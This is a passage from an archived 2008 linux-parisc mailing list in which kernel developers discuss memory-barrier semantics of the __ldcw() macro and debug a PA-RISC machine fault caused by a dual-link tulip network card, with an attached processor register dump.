	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752585AbYF2AnS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jun 2008 20:43:18 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B4FDD431A; Sat, 28 Jun 2008 20:43:17 -0400 (EDT)
In-Reply-To: <20080628233406.GI14894@parisc-linux.org> from "Matthew Wilcox" at Jun 28, 2008 05:34:07 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:466
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/466>

> On Sat, Jun 28, 2008 at 06:07:57PM -0400, John David Anglin wrote:
> > There are two reasons to expose the memory *a in the asm:
> > 
> > 1) To prevent the compiler from discarding a preceeding write to *a, and
> > 2) to prevent it from caching *a in a register over the asm.
> 
> Do either of those scenarios apply, given that every usage of this is
> preceded by an asm clobbering memory?

Probably not, I was just concerned about the correctness of the
__ldcw() macro itself.  I think the use of the macro should be
confined to small inline functions to try to limit the effect
of clobbering memory on GCC's optimization of loads and stores.

> I believe the correct thing to do is to take out the two mb()s in the
> various spin_lock routines and make the __ldcw() macro itself clobber
> memory.

This seems reasonable if you want __ldcw() to be a memory barrier.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sjoerd Simons <sjoerd@luon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 16:17:59 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <20080629151759.GA7856@spring.luon.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Nq2Wo0NMKNjxTN9z"
X-Trace: ger.gmane.org 1214754112 15609 80.91.229.12 (29 Jun 2008 15:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 15:41:52 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 17:42:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCz2u-0000tV-TK
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 17:42:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754845AbYF2Plf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 11:41:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754846AbYF2Plf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 11:41:35 -0400
Original-Received: from cube.ipv4.spacelabs.nl ([192.87.65.66]:38481 "EHLO
	cube.luon.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754845AbYF2PlB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 11:41:01 -0400
X-Greylist: delayed 1377 seconds by postgrey-1.27 at vger.kernel.org; Sun, 29 Jun 2008 11:41:01 EDT
Original-Received: from localhost (cube.luon.net [127.0.0.1])
	by cube.luon.net (Postfix) with ESMTP id 7CB2F20A4D
	for <linux-parisc@vger.kernel.org>; Sun, 29 Jun 2008 17:18:01 +0200 (CEST)
Original-Received: from cube.luon.net ([127.0.0.1])
	by localhost (cube.luon.net [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gnm8vVLFKowa for <linux-parisc@vger.kernel.org>;
	Sun, 29 Jun 2008 17:18:01 +0200 (CEST)
Original-Received: from spring.luon.net (lump.einval.com [78.32.9.209])
	by cube.luon.net (Postfix) with ESMTP id A67003BD35
	for <linux-parisc@vger.kernel.org>; Sun, 29 Jun 2008 17:18:00 +0200 (CEST)
Original-Received: by spring.luon.net (Postfix, from userid 1000)
	id 3E8B6318BE; Sun, 29 Jun 2008 16:17:59 +0100 (BST)
Content-Disposition: inline
X-Operating-System: Linux spring 2.6.25-2-powerpc #1 Thu Jun 12 17:54:44
	UTC 2008 ppc GNU/Linux
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/467>


--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

  Kernel 2.6.24 causes the machine to fault when a dual-link network card is
  installed right after loading the tulip module. Output of SER PIM attached.

    Sjoerd
-- 
What the world *really* needs is a good Automatic Bicycle Sharpener.

--Nq2Wo0NMKNjxTN9z
Content-Type: application/cap
Content-Disposition: attachment; filename="tulip.cap"
Content-Transfer-Encoding: quoted-printable

Main Menu: Enter command > SER PIM=0A=0APROCESSOR PIM INFORMATION=0A=0A----=
-------------  Processor HPMC Information ------------------=0A=0ATimestamp=
 =3D   Sun Jun  29 14:45:17 GMT 2008    (20:08:06:29:14:45:17)=0A=0AHPMC Ch=
assis Codes =3D 0xcbf0  0x505f  0xcbf2  0xcbfc  =0A=0AGeneral Registers 0 -=
 31=0A 0 -  3  0x00000000  0x10248800  0x10245748  0x17cb45c8  =0A 4 -  7  =
0x0000000f  0x008aac94  0x1740d8d8  0x10410f88  =0A 8 - 11  0x0000006d  0x1=
740d800  0x0000006d  0x00000002  =0A12 - 15  0x0000006d  0x008a6728  0x0089=
27f0  0x00000191  =0A16 - 19  0x00000000  0x00000000  0x00000000  0x0000000=
2  =0A20 - 23  0x0000000e  0x00814000  0x17437800  0x00000002  =0A24 - 27  =
0x00000006  0x00000008  0x17404560  0x103da010  =0A28 - 31  0x00008068  0x2=
a86fc6c  0x17cb4680  0x17cb4608  =0A=0A<Press any key to continue (q to qui=
t)> =0A=0AControl Registers 0 - 31=0A 0 -  3  0x00000000  0x00000000  0x000=
00000  0x00000000  =0A 4 -  7  0x00000000  0x00000000  0x00000000  0x000000=
00  =0A 8 - 11  0x0000060a  0x00000000  0x000000c0  0x0000000d  =0A12 - 15 =
 0x00000000  0x00000000  0x00109800  0xf1000000  =0A16 - 19  0x39b0e584  0x=
00000000  0x10252bdc  0xd79c0e18  =0A20 - 23  0x00000000  0x0081406a  0x000=
4fe0e  0x00000000  =0A24 - 27  0x0041e000  0x07cd6000  0xffffffff  0x400014=
60  =0A28 - 31  0xaaaaaaaa  0x11111111  0x17cb4000  0xf0102918  =0A=0ASpace=
 Registers 0 - 7=0A 0 -  3  0x00000000  0x00000000  0x00000000  0x00000305 =
 =0A 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  =0A=0A<Press a=
ny key to continue (q to quit)> =0A=0AIIA Space                    =3D 0x00=
000000=0AIIA Offset                   =3D 0x10252be0=0ACheck Type          =
         =3D 0x20000000=0ACPU State                    =3D 0x9e000004=0ACac=
he Check                  =3D 0x00000000=0ATLB Check                    =3D=
 0x00000000=0ABus Check                    =3D 0x00310000=0AAssists Check  =
              =3D 0x00000000=0AAssist State                 =3D 0x00000000=
=0ASystem Responder Address     =3D 0xfff88068=0ASystem Requestor Address  =
   =3D 0xfffbe000=0APath Info                    =3D 0x00000000=0APhysical =
Memory              =3D 0x08000000=0AAvailable Memory             =3D 0x080=
00000=0A=0A<Press any key to continue (q to quit)> =0A=0ACPU Diagnose Regis=
ter 0                =3D 0x600048fc=0AMIOC Status  Register                =
  =3D 0x00001002=0AMIOC Control Register                  =3D 0x98050000=0A=
MIOC MDERRADD Error Address Register   =3D 0x00000008=0AMIOC DMAERR DMA Err=
or Register         =3D 0xffffffff=0AMIOC DIOERR IO  Error Register        =
 =3D 0xfff88068=0A=0A<Press any key to continue (q to quit)> =0A=0A--------=
---------  Processor TOC Information -------------------=0A=0AGeneral Regis=
ters 0 - 31=0A 0 -  3  0x00000000  0x0f424000  0x001d31ec  0x0000da00  =0A =
4 -  7  0x001e8000  0x00000210  0x00000000  0x00000000  =0A 8 - 11  0x00000=
000  0x7ffe6000  0x000000a5  0x4000c640  =0A12 - 15  0x40005640  0x4000c640=
  0x4000c640  0x0000003c  =0A16 - 19  0x40004cb8  0x00000002  0x4000c9b0  0=
x001e8480  =0A20 - 23  0xc9566cff  0x0004000e  0x00458a88  0xd73d6d46  =0A2=
4 - 27  0x00e7319b  0x00000000  0x01e84800  0x004b36a0  =0A28 - 31  0x00000=
000  0x0fbc5200  0x7ffe6c08  0xd912beff  =0A=0A<Press any key to continue (=
q to quit)> =0A=0AControl Registers 0 - 31=0A 0 -  3  0x00000000  0x0000000=
0  0x00000000  0x00000000  =0A 4 -  7  0x00000000  0x00000000  0x00000000  =
0x00000000  =0A 8 - 11  0x0000b50b  0x000066f4  0x000000c0  0x0000001a  =0A=
12 - 15  0x00000000  0x00000000  0x00018000  0xaf000800  =0A16 - 19  0xd73e=
472c  0x00000000  0x0012a218  0x8af4800a  =0A20 - 23  0x00000000  0x0012a21=
8  0x0004700f  0x10000488  =0A24 - 27  0x00458a88  0x001da000  0x01e84800  =
0x7ffe6c08  =0A28 - 31  0x00458a88  0x00008000  0x000d7390  0x0720935c  =0A=
=0ASpace Registers 0 - 7=0A 0 -  3  0x00000000  0x00004b05  0x00000000  0x0=
0000000  =0A 4 -  7  0x00000000  0x00004355  0x00004b05  0x00000000  =0A=0A=
IIA Space                    =3D 0x00000000=0AIIA Offset                   =
=3D 0x0012a21c=0ACPU State                    =3D 0x9e000001=0A=0A=0A<Press=
 any key to continue (q to quit)> =0A=0AMemory Error Log Information:=0A=0A=
Timestamp =3D   Sun Jun  29 14:45:18 GMT 2008    (20:08:06:29:14:45:18)=0A=
=0A   No memory errors logged=0A=0A=0AI/O Module Error Log Information:=0A=
=0ATimestamp =3D   Sun Jun  29 14:45:18 GMT 2008    (20:08:06:29:14:45:18)=
=0A=0ABus      HPA       Module Type      Path  Slt Md Sev Estat Requestor =
Responder=0A----- ---------- ---------------- -------- -- -- --- ---- -----=
----- ----------=0AGSC   0x0000006d A DMA I/O        8/8       2  0 fe  0x0=
3 0x00000000 0x00000000=0A=0A<Press any key to continue (q to quit)> =0A=0A=
IO Bus Converter Log=0A--------------------=0A=0AGBOA HPA            =3D 0x=
fff8c000=0AGBOA UBC_IO_CONTROL =3D 0x00000080=0ANIO HPA             =3D 0xf=
1000001=0AGBOA IO_IO_LO       =3D 0xf1000000=0AGBOA IO_IO_HI       =3D 0xf1=
080000=0A=0AMain Menu: Enter command > =0AMain Menu: Enter command >  =0A
--Nq2Wo0NMKNjxTN9z--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 11:00:34 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1214755234.3405.5.camel@localhost.localdomain>
References: <20080629151759.GA7856@spring.luon.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214755249 18846 80.91.229.12 (29 Jun 2008 16:00:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 16:00:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Sjoerd Simons <sjoerd@luon.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 18:01:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCzLJ-0006I2-H9
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 18:01:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752469AbYF2QAk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 12:00:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753310AbYF2QAk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 12:00:40 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:37180 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752469AbYF2QAk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 12:00:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 88F0A82A4;
	Sun, 29 Jun 2008 11:00:38 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1214755238; bh=4l3JbblGwXocOR1xS2U7wfTF3uVK0k6zAVaE1gE4KC
	k=; l=513; h=Subject:From:To:Cc:In-Reply-To:References:Content-Type:
	 Date:Message-Id:Mime-Version:Content-Transfer-Encoding; b=VuzQB3z/
	OfrnS1YbNGjKiPrGvy0Ktp7w2q5L6/7a9fSIHwbP0r0EcQgKGuBCIsLU3fhPKFrFQhU
	/ny+ga5iaT6YWhWzX41TScidY0WvJq+uluGKDex07fATeWUrOsKXY1nIEe93YUHWA/g
	pKzzX537YQF/RPad/8tEt5fkiQQTA=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6gTSx0UHefYq; Sun, 29 Jun 2008 11:00:37 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 6F3437F72;
	Sun, 29 Jun 2008 11:00:36 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1214755236; bh=4l3JbblGwXocOR1xS2U7wfTF3uVK0k6zAVaE1gE4KC
	k=; l=513; h=Subject:From:To:Cc:In-Reply-To:References:Content-Type:
	 Date:Message-Id:Mime-Version:Content-Transfer-Encoding; b=VPiIL8lM
	ZLR7h4SIDhytIUyOPx75Pmj1yJwAgPKvBbDIRfRoRP8Xsw/EgtkrdpqQo8rMBSpj4Zu
	pwSA8jnOHLhmc7ypNrW2tTcq9IkM83fh5UqZfbVKxV15133qwOhkMbG0pqUE874hJJw
	962LXwiLk6Tp0Ybi4/KZphkvCoPfQ=
In-Reply-To: <20080629151759.GA7856@spring.luon.net>
X-Mailer: Evolution 2.22.2 (2.22.2-2.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/468>

On Sun, 2008-06-29 at 16:17 +0100, Sjoerd Simons wrote:
> Hi,
> 
>   Kernel 2.6.24 causes the machine to fault when a dual-link network card is
>   installed right after loading the tulip module. Output of SER PIM attached.

I'm afraid just the hex dump isn't really any use.  To be possibly
useful, we need at least the symbolic addresses of IAOQ and %r2.
That's:

%r2: 0x10245748
IAOQ[0]: 0x10252bdc
IAOQ[1]: 0x10252be0

the I/O module error seems to indicate an incorrect GSC DMA read.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 10:22:21 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20080629162220.GL14894@parisc-linux.org>
References: <20080629151759.GA7856@spring.luon.net> <1214755234.3405.5.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214756573 22571 80.91.229.12 (29 Jun 2008 16:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 16:22:53 +0000 (UTC)
Cc: Sjoerd Simons <sjoerd@luon.net>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 18:23:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCzge-00043Q-W9
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 18:23:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753292AbYF2QWi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 12:22:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753429AbYF2QWi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 12:22:38 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:57106 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753292AbYF2QWh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 12:22:37 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 96E69494005; Sun, 29 Jun 2008 10:22:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1214755234.3405.5.camel@localhost.localdomain>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/469>

On Sun, Jun 29, 2008 at 11:00:34AM -0500, James Bottomley wrote:
> On Sun, 2008-06-29 at 16:17 +0100, Sjoerd Simons wrote:
> > Hi,
> > 
> >   Kernel 2.6.24 causes the machine to fault when a dual-link network card is
> >   installed right after loading the tulip module. Output of SER PIM attached.
> 
> I'm afraid just the hex dump isn't really any use.  To be possibly
> useful, we need at least the symbolic addresses of IAOQ and %r2.
> That's:
> 
> %r2: 0x10245748
> IAOQ[0]: 0x10252bdc
> IAOQ[1]: 0x10252be0
> 
> the I/O module error seems to indicate an incorrect GSC DMA read.

I don't think it's going to tell us anything useful.  I believe that
we've not set up the cardmode Dino correctly to respond to iomem space
and as a result the first access to iomem space will fault.

Of course, this is a machine with CCIO, so it could be something going
wrong with the CCIO programming too.  But I think it's Dino.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 17:54:15 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <4867CC47.8030307@scarlet.be>
References: <20080629151759.GA7856@spring.luon.net> <1214755234.3405.5.camel@localhost.localdomain> <20080629162220.GL14894@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214762076 7342 80.91.229.12 (29 Jun 2008 17:54:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 17:54:36 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sjoerd Simons <sjoerd@luon.net>, linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 19:55:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD17Q-0003Jw-OK
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 19:55:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754540AbYF2RyZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 13:54:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754551AbYF2RyZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 13:54:25 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:51668 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754540AbYF2RyY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 13:54:24 -0400
Original-Received: from [213.49.81.46] (ip-213-49-81-46.dsl.scarlet.be [213.49.81.46])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5THsFHq020090;
	Sun, 29 Jun 2008 19:54:17 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080629162220.GL14894@parisc-linux.org>
X-DCC-scarlet.be-Metrics: sif 20001; Body=5 Fuz1=5 Fuz2=5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/470>



Matthew Wilcox wrote:
> On Sun, Jun 29, 2008 at 11:00:34AM -0500, James Bottomley wrote:
>> On Sun, 2008-06-29 at 16:17 +0100, Sjoerd Simons wrote:
>>> Hi,
>>>
>>>   Kernel 2.6.24 causes the machine to fault when a dual-link network card is
>>>   installed right after loading the tulip module. Output of SER PIM attached.
>> I'm afraid just the hex dump isn't really any use.  To be possibly
>> useful, we need at least the symbolic addresses of IAOQ and %r2.
>> That's:
>>
>> %r2: 0x10245748
>> IAOQ[0]: 0x10252bdc
>> IAOQ[1]: 0x10252be0
>>
>> the I/O module error seems to indicate an incorrect GSC DMA read.
> 
> I don't think it's going to tell us anything useful.  I believe that
> we've not set up the cardmode Dino correctly to respond to iomem space
> and as a result the first access to iomem space will fault.
> 
> Of course, this is a machine with CCIO, so it could be something going
> wrong with the CCIO programming too.

Yes specially if the system low in RAM (e.g. when I have to reduce ram of my c110 from 512M to 64M, it became impossible to 
boot it ;-( .)
After longly thought it was a pb of coherency, I am now convince that's the key pb: my d380 boot fine with 256M but I 
resurrect 'ccio_mem_ratio' which reduce artificially iova_space_size and if I can still boot it, disk's issues occur more 
quickly (a simple tar -xvf of a big file is enough now).
Right now, I reach to put in place many trace_mark() in this driver and thanks to Mathieu Desnoyers's patch and his help, 
it's now possible to me to collect a lot of info without degrading too much system perf. Just need more time to collect 
relevant info and analyze it ;-)

   But I think it's Dino.
> 
hypothesis easy to verify: just remove this card.

hth,
	J.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sjoerd Simons <sjoerd@luon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 18:57:04 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20080629175704.GA8384@spring.luon.net>
References: <20080629151759.GA7856@spring.luon.net> <1214755234.3405.5.camel@localhost.localdomain> <20080629162220.GL14894@parisc-linux.org> <4867CC47.8030307@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214762239 7807 80.91.229.12 (29 Jun 2008 17:57:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 17:57:19 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 19:58:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD1A4-0004Bc-91
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 19:58:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754540AbYF2R5L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 13:57:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754619AbYF2R5L
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 13:57:11 -0400
Original-Received: from cube.ipv4.spacelabs.nl ([192.87.65.66]:45259 "EHLO
	cube.luon.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754540AbYF2R5K (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 13:57:10 -0400
Original-Received: from localhost (cube.luon.net [127.0.0.1])
	by cube.luon.net (Postfix) with ESMTP id 6995020A53;
	Sun, 29 Jun 2008 19:57:07 +0200 (CEST)
Original-Received: from cube.luon.net ([127.0.0.1])
	by localhost (cube.luon.net [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id rD+0svdjL9er; Sun, 29 Jun 2008 19:57:07 +0200 (CEST)
Original-Received: from spring.luon.net (lump.einval.com [78.32.9.209])
	by cube.luon.net (Postfix) with ESMTP id 8ED513BD35;
	Sun, 29 Jun 2008 19:57:06 +0200 (CEST)
Original-Received: by spring.luon.net (Postfix, from userid 1000)
	id 62862318BE; Sun, 29 Jun 2008 18:57:04 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <4867CC47.8030307@scarlet.be>
X-Operating-System: Linux spring 2.6.25-2-powerpc #1 Thu Jun 12 17:54:44
	UTC 2008 ppc GNU/Linux
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:471
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/471>

On Sun, Jun 29, 2008 at 05:54:15PM +0000, Joel Soete wrote:
>   But I think it's Dino.
>>
> hypothesis easy to verify: just remove this card.

Without the card the machine seems to work fine indeed.

  Sjoerd
-- 
"There are three principal ways to lose money: wine, women, and engineers.
While the first two are more pleasant, the third is by far the more certain."
		-- Baron Rothschild, ca. 1800
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 18:11:49 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <4867D065.6080205@scarlet.be>
